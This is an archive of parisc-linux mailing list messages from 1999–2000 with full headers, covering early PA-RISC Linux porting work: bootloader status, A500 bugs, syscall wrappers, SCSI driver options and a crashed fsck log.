gggA500:/# dd if=/palinux-0.5.iso of=/dev/sdc1 bs=8k
dd: writing `/dev/sdc1': No space left on device
3550+0 records in
3549+0 records out
gggA500:/# sync
gggA500:/# ls -l palinux-0.5.iso
-rw-r--r--    1 769      users    184612864 Nov 22 17:33 palinux-0.5.iso
gggA500:/# du -s palinux-0.5.iso 
180472	palinux-0.5.iso
gggA500:/# 


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 11:42:19 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <199905061842.LAA11719@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619405 8237 80.91.229.3 (22 Nov 2014 01:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:25 +0000 (UTC)
Cc: jason@gatekeeper.equator.com, parisc-linux@thepuffingroup.com
To: adevries@redhat.com
Original-X-From: jason@gatekeeper.equator.com  Thu May  6 11:44:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA27300
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 May 1999 11:44:14 -0600
Original-Received: (qmail 28915 invoked by uid 15267); 6 May 1999 18:40:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28908 invoked from network); 6 May 1999 18:40:15 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 18:40:15 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id LAA11719;
	Thu, 6 May 1999 11:42:19 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8804

> On Thu, 6 May 1999, Philipp Rumpf wrote:
> > 
> > Where are the bootloader sources atm ?
> > 
>
> Jason's sources are at:
>
> ftp://puffin.external.hp.com/pub/parisc/src/boot_rel_0.2.tar.gz
>
> I'm not quite sure how complete they are.  The pain is that because of our
> lack of ELF32 in binutils these really need to be linked on an HPUX box.
>


  The source is fairly complete in the sense that the bootstrap can load
  a kernel image and transfer control to it. If we had a linux kernel, it could
  be booted today.
  The source can also be considered less
  than complete in that it just reads the kernel from a fixed location on
  the media -- for simplicity, to get linux up and running. Alex and
  chris have suggested (and this was a thought all along) to have the booter
  load the kernel from an ext2 file system. With more time, that can be
  done. It's a bit painful since it involves a stand alone extfs (read only)
  implementation. Hopefully, we can re-use much of the standard linux code,
  but I haven't thought about this in detail yet.

  Jason.


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Wed, 06 Dec 2000 22:49:49 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <200012070649.WAA07510@milano.cup.hp.com>
References: <200012070634.WAA07459@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619405 8239 80.91.229.3 (22 Nov 2014 01:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:25 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
Original-X-From: grundler@cup.hp.com  Wed Dec  6 23:47:51 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA30605
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 23:47:50 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 17C476A2
	for <parisc-linux@puffin.external.hp.com>; Wed,  6 Dec 2000 22:50:29 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA07510;
	Wed, 6 Dec 2000 22:49:50 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 06 Dec 2000 22:34:55 PST."
             <200012070634.WAA07459@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8805

Grant Grundler wrote:
> TODO:

I forgot to mention:
o sleep seg faults (syscall issue?)
o syslogd seg faults (ditto?)
o CONFIG_GENRTC=n since hwclock crashes the system at that point
o have bogus /sbin/modprobe (shell script that echo's the parms)

Anything else I'm forgetting?

grant


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Thu, 7 Dec 2000 09:56:13 +0000
Lines: 112
Approved: news@gmane.org
Message-ID: <20001207095613.D7166@linuxcare.com>
References: <200012070634.WAA07459@milano.cup.hp.com> <200012070649.WAA07510@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619405 8240 80.91.229.3 (22 Nov 2014 01:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:25 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Dec  7 02:58:27 2000
Original-Received: from rhirst.linuxcare.com (user-140-159.jakinternet.co.uk [212.187.140.159])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA32171
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 02:58:25 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 47F30B005; Thu,  7 Dec 2000 09:56:13 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200012070649.WAA07510@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Dec 06, 2000 at 10:49:49PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8806

On Wed, Dec 06, 2000 at 10:49:49PM -0800, Grant Grundler wrote:
> Grant Grundler wrote:
> > TODO:
> 
> I forgot to mention:
> o sleep seg faults (syscall issue?)
> o syslogd seg faults (ditto?)
> o CONFIG_GENRTC=n since hwclock crashes the system at that point
> o have bogus /sbin/modprobe (shell script that echo's the parms)
> 
> Anything else I'm forgetting?

I see "KERNEL BUG at page_alloc.c:111" at random - not very often
though.

I get random chassis code dumps associated with lockups that last
a few seconds.  System generally carries on after ack-ing the error.
Don't know if these chassis codes are always the same, no examples to
hand.

Occasionally a boot will fail looping on "break 0,0: pid=1 command='init'"
and a register dump.

If I use the file system from nfsroot-20001009.tar.gz then I can get
through a boot, login, and a shell prompt.  If I use the file system
from the beta 0.5 CD base.tgz, then it goes to sleep after login
but before shell prompt.

I don't get sleep or syslogd seg faulting, on either file system.

Trying to mount a local file system is ok, but trying to mount an
nfs file system causes mount to segv.

I was able to configure two ethernet interfaces on seperate subnets
and ping them both from remote machines.

I had to disable scatter/gather in the scsi driver to make the disk
work.

I am able to boot from scsi disk, but it is rather fragile.  Worked
for a while, then reboot gave:

> INIT: version 2.78 booting
> Activating swap...
> Checking root file system...
> Parallelizing fsck version 1.19 (13-Jul-2000)
> /dev/sda5 was not cleanly unmounted, check forced.
> /dev/sda5:                                                                      
> Special (device/socket/fifo) inode 17422 has non-zero size.  FIXED.
> /dev/sda5: Special (device/socket/fifo) inode 17424 has non-zero size.  FIXED.
> /dev/sda5:                                                                      
> Entry 'bin' in / (2) has deleted/unused inode 4081.  CLEARED.
> /dev/sda5: Entry 'boot' in / (2) has deleted/unused inode 8161.  CLEARED.
> /dev/sda5: Entry 'cdrom' in / (2) has deleted/unused inode 12241.  CLEARED.
> /dev/sda5: Entry 'dev' in / (2) has deleted/unused inode 16321.  CLEARED.
> /dev/sda5: Entry 'etc' in / (2) has deleted/unused inode 20401.  CLEARED.
> /dev/sda5: Entry 'floppy' in / (2) has deleted/unused inode 89761.  CLEARED.
> /dev/sda5: Entry 'home' in / (2) has deleted/unused inode 91801.  CLEARED.
> /dev/sda5: Entry 'initrd' in / (2) has deleted/unused inode 93841.  CLEARED.
> /dev/sda5: Entry 'lib' in / (2) has deleted/unused inode 95881.  CLEARED.
> /dev/sda5: Entry 'mnt' in / (2) has deleted/unused inode 102001.  CLEARED.
> /dev/sda5: Entry 'proc' in / (2) has deleted/unused inode 104041.  CLEARED.
> /dev/sda5: E
> do_page_fault() pid=17 command='fsck.ext2'
> ntry 'root' in /
>  (2) has deleted     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> 0SW: /unused inode 1006081.  CLEARED.
>  /dev/sda5: Entr0y 'sbin' in / (20) has deleted/un0used inode 1081201.  CLEARED.
> /d0ev/sda5: Entry '0tmp' in / (2) ha0s deleted/unused0 inode 110161.  0CLEARED.
> /dev/s0da5: Entry 'usr'0 in / (2) has de1leted/unused ino1de 112201.  CLEA0RED.
> /dev/sda5:1 Bad inode numbe1r for '.' in dir1ectory inode 20410.
> 
> 
> 1dev/sda15: UNEXPECTED IN1CONSISTENCY; RUN1 fsck MANUALLY.
>         (i.e., without0 -a or -p option0s)
> 001011
> r0-3     0000000000000000 00000000000007f8 0000000040031c13 0000000020020600
> r4-7     000000004003515c 0000000000000004 0000000000000000 000000004001b210
> r8-11    0000000000000006 0000000000000001 0000000020020648 0000000000017298
> r12-15   0000000000000000 0000000000017298 0000000000048100 0000000000002105
> r16-19   0000000000020000 0000000000020002 0000000000078440 000000004003515c
> r20-23   000000004001e000 0000000078000000 0000000040031bf8 000000004015be64
> r24-27   000000000000002d 000000004015b138 0000000000000004 00000000000165cc
> r28-31   0000000000000000 00000000000173f8 0000000020020720 000000004000f6df
> sr0-4    0000000000000380 0000000000000000 0000000000000000 0000000000000380
> sr4-8    0000000000000380 0000000000000380 0000000000000380 0000000000000380
> 
> IASQ: 0000000000000380 0000000000000380 IAOQ: 00000000400231af 00000000400231b3
>  IIR: 0c201094    ISR: 0000000000000380  IOR: 00000000000007f8
> ORIG_R28: 0000000000000000
> Warning... fsck.ext2 for device /dev/sda5 exited with signal 11.
> 
> fsck failed.  Please repair manually and reboot.  Please note
> that the root file system is currently mounted read-only.  To
> remount it read-write:
> 
>    # mount -n -o remount,rw /
> 
> CONTROL-D will exit from this shell and REBOOT the system.
> 
> Give root password for maintenance
> (or type Control-D for normal startup): 
> bash-2.04# 
> bash-2.04# 
> bash-2.04# ls
> lost+found  var

At this point I gave up and went to bed!

Richard



From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Thu, 07 Dec 2000 09:16:25 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <E1443ib-0003sK-00@noam.fc.hp.com>
References: <200012070634.WAA07459@milano.cup.hp.com> <200012070649.WAA07510@milano.cup.hp.com>  <20001207095613.D7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619406 8244 80.91.229.3 (22 Nov 2014 01:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:26 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@puffin.external.hp.com,
        debian-hppa@lists.debian.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: bame@noam.fc.hp.com  Thu Dec  7 09:13:49 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA05066
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 09:13:48 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA05487;
	Thu, 7 Dec 2000 09:16:25 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 1443ib-0003sK-00; Thu, 07 Dec 2000 09:16:25 -0700
In-Reply-To: Your message of "Thu, 07 Dec 2000 09:56:13 GMT."
             <20001207095613.D7166@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8807


This is a pretty big difference from my experience on c3k but I was using
Friday's bits:

= > I forgot to mention:
= > o sleep seg faults (syscall issue?)

Maybe you have some older signal code in your tree?  I explicitly tested
SIGALRM.

= > o syslogd seg faults (ditto?)

I've had some problems with syslogd too, but nfsroot-latest it seems
fine.

= > o CONFIG_GENRTC=n since hwclock crashes the system at that point

When I run hwclock by hand I get warnings from the ioctl() syscall
converter about unknown ioctls, but no crash or anything.  There will
possibly be a LOT of unknown ioctls to translate, and we owe thanks
to Grant for turning on the skeleton of the ioctl converter stolen
from sparc/mips (parisc64/kernel/ioctl32.c)

= I see "KERNEL BUG at page_alloc.c:111" at random - not very often
= though.

I see that one too.

= Trying to mount a local file system is ok, but trying to mount an
= nfs file system causes mount to segv.

I've had poor luck with network clients like ping and telnet from
the nfs root and you could be seeing a related problem with NFS.
When I compiled a new ping it worked fine, so
it's possible there's an incompatibility in a networking
data structure caused by my posix_types.h changes.


I've decided to take a vacation from syscall wrappers for now because
it seems like once we have a new user space that things may be stable
and functional enough to focus on other areas.  I envision that we'll
add wrappers for unimplemented syscalls and ioctls as the need arises
(parisc64/kernel/sys_parisc32.c).

I've left many syscalls disabled and think we should keep them turned
off until it's proven they actually are used.  We should
probably consider nuking them in the 32-bit kernel too.

	-P


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 status update
Date: Thu, 07 Dec 2000 10:17:10 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <200012071817.KAA08546@milano.cup.hp.com>
References: <E1443ib-0003sK-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619406 8249 80.91.229.3 (22 Nov 2014 01:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:26 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com, debian-hppa@lists.debian.org
Original-X-From: grundler@cup.hp.com  Thu Dec  7 11:15:15 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA06530
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 11:15:14 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 792168BD
	for <parisc-linux@puffin.external.hp.com>; Thu,  7 Dec 2000 10:17:49 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA08546;
	Thu, 7 Dec 2000 10:17:11 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 07 Dec 2000 09:16:25 PST."
             <E1443ib-0003sK-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8808

Paul Bame wrote:
> This is a pretty big difference from my experience on c3k but I was using
> Friday's bits:

Another variable:  I rebuilt my own hppa64 XC from the latest gcc/binutils
I'll try taggart's latest XC bits on the next round.

> Maybe you have some older signal code in your tree?  I explicitly tested
> SIGALRM.

Not kernel tree. Very likely my NFS root is stale.


> I've had some problems with syslogd too, but nfsroot-latest it seems
> fine.

hmm....I have that.  nfsroot-latest.tar.gz -> nfsroot-20001009.tar.gz

> When I run hwclock by hand I get warnings from the ioctl() syscall
> converter about unknown ioctls, but no crash or anything.

ok. Perhaps it's time to re-enable that.

> There will
> possibly be a LOT of unknown ioctls to translate, and we owe thanks
> to Grant for turning on the skeleton of the ioctl converter stolen
> from sparc/mips (parisc64/kernel/ioctl32.c)

I didn't do that much!
You figured out the 64-bit function pointer crud! :^)
That was the only really b0rken part.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Synch with Linus: Phase 2
Date: Thu, 7 Dec 2000 18:26:51 +0000 (GMT)
Lines: 5
Approved: news@gmane.org
Message-ID: <E1445ks-0002n6-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619406 8254 80.91.229.3 (22 Nov 2014 01:23:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:26 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Dec  7 11:22:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA07028
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 11:22:20 -0700
Original-Received: (qmail 30135 invoked by uid 15267); 7 Dec 2000 18:24:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30088 invoked from network); 7 Dec 2000 18:24:56 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 18:24:56 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 1445ks-0002n6-00
	for parisc-linux@thepuffingroup.com; Thu, 7 Dec 2000 18:26:55 +0000
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8809

I plan to feed Linus the GSC changes next unless there are objections. I've
looked at parisc64 and Im not convinced its complete enough to merge.

Alan


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Synch with Linus: Phase 2
Date: Thu, 07 Dec 2000 11:47:39 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200012071947.LAA08687@milano.cup.hp.com>
References: <E1445ks-0002n6-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619407 8255 80.91.229.3 (22 Nov 2014 01:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Thu Dec  7 12:45:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA08533
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 12:45:00 -0700
Original-Received: (qmail 25007 invoked by uid 15267); 7 Dec 2000 19:47:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24992 invoked from network); 7 Dec 2000 19:47:17 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 19:47:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 947628E0; Thu,  7 Dec 2000 11:47:01 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA08687;
	Thu, 7 Dec 2000 11:47:40 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 07 Dec 2000 18:26:51 PST."
             <E1445ks-0002n6-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8810

Alan Cox wrote:
> I've looked at parisc64 and Im not convinced its complete enough to merge.

What missing parts would you like to see?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Synch with Linus: Phase 2
Date: Thu, 7 Dec 2000 19:52:01 +0000 (GMT)
Lines: 8
Approved: news@gmane.org
Message-ID: <E14475G-0002tT-00@the-village.bc.nu>
References: <200012071947.LAA08687@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619407 8258 80.91.229.3 (22 Nov 2014 01:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:27 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Dec  7 13:27:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA09435
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 13:27:09 -0700
Original-Received: (qmail 26537 invoked by uid 15267); 7 Dec 2000 20:29:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26487 invoked from network); 7 Dec 2000 20:29:47 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 20:29:47 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14475G-0002tT-00; Thu, 7 Dec 2000 19:52:02 +0000
In-Reply-To: <200012071947.LAA08687@milano.cup.hp.com> from "Grant Grundler" at Dec 07, 2000 11:47:39 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8811

> Alan Cox wrote:
> > I've looked at parisc64 and Im not convinced its complete enough to merge.
> 
> What missing parts would you like to see?

Its just a general feeling reading the code that it has lots of stuff thats
stubbed, implies it needs redoing etc


From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <danne@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI on ASP systems
Date: Thu, 7 Dec 2000 22:12:05 +0100 (CET)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012072158170.8673-100000@zaphod.halden.lillfab.se>
References: <20001206234726.C7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619407 8260 80.91.229.3 (22 Nov 2014 01:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:27 +0000 (UTC)
Cc: Daniel Engstrom <danne@telia.com>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: danne@telia.com  Thu Dec  7 14:10:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA10330
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 14:10:47 -0700
Original-Received: (qmail 27529 invoked by uid 15267); 7 Dec 2000 21:12:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27511 invoked from network); 7 Dec 2000 21:12:27 -0000
Original-Received: from mailf.telia.com (root@194.22.194.25)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 21:12:27 -0000
Original-Received: from zaphod.halden.lillfab.se (t6o70p54.telia.com [195.67.239.174])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id WAA26228;
	Thu, 7 Dec 2000 22:12:10 +0100 (CET)
Original-Received: from localhost (danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) with ESMTP id WAA05054;
	Thu, 7 Dec 2000 22:12:06 +0100
In-Reply-To: <20001206234726.C7166@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8812

On Wed, 6 Dec 2000, Richard Hirst wrote:
> Can you try adding
> 
> 	sim700=noneg:0xff,nodisc:0xff
> 
> to your boot comamnd line and let me know what happens.

Nothig, it behaves like id did before.

I tested to read the entire disk which it did without the error. I did get
~350 phase mismates on the 3G disk (id tuned phase mismatch logging on
after noticing that the last event before the unexpected disconnect was a
phase mis match, but they seem to happen all the time so I think they are
unrelated, normal, even?


If write to the disk with dd I can wite about 1050 sectors befor the error
happens (1050 failed twise and suceeded onece, every thine I tried below
succeded and every thing I tried avove failed).

> If that fails after very little disk activity, you could try 
> 
> 	sim700=noneg:0xff,nodisc:0xff,debug:0x2ff
> 
> and send me the (large) debug output.
Is this still intresting?

/Daniel
-- 



From - Thu Nov 08 21:14:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI on ASP systems
Date: Thu, 7 Dec 2000 21:26:10 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20001207212610.F7166@linuxcare.com>
References: <20001206234726.C7166@linuxcare.com> <Pine.LNX.4.21.0012072158170.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619407 8264 80.91.229.3 (22 Nov 2014 01:23:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:27 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Daniel Engstrom <danne@telia.com>
Original-X-From: rhirst@linuxcare.com  Thu Dec  7 14:28:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA10931
	for <parisc-linux@puffin.external.hp.com>; Thu, 7 Dec 2000 14:28:30 -0700
Original-Received: (qmail 25943 invoked by uid 15267); 7 Dec 2000 21:31:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25893 invoked from network); 7 Dec 2000 21:31:05 -0000
Original-Received: from user-79-200.jakinternet.co.uk (HELO rhirst.linuxcare.com) (194.88.79.200)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 21:31:05 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C1FC7B005; Thu,  7 Dec 2000 21:26:10 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0012072158170.8673-100000@zaphod.halden.lillfab.se>; from danne@telia.com on Thu, Dec 07, 2000 at 10:12:05PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8813

On Thu, Dec 07, 2000 at 10:12:05PM +0100, Daniel Engstrom wrote:
> On Wed, 6 Dec 2000, Richard Hirst wrote:
> > Can you try adding
> > 
> > 	sim700=noneg:0xff,nodisc:0xff
> > 
> > to your boot comamnd line and let me know what happens.
> 
> Nothig, it behaves like id did before.
> 
> I tested to read the entire disk which it did without the error. I did get
> ~350 phase mismates on the 3G disk (id tuned phase mismatch logging on
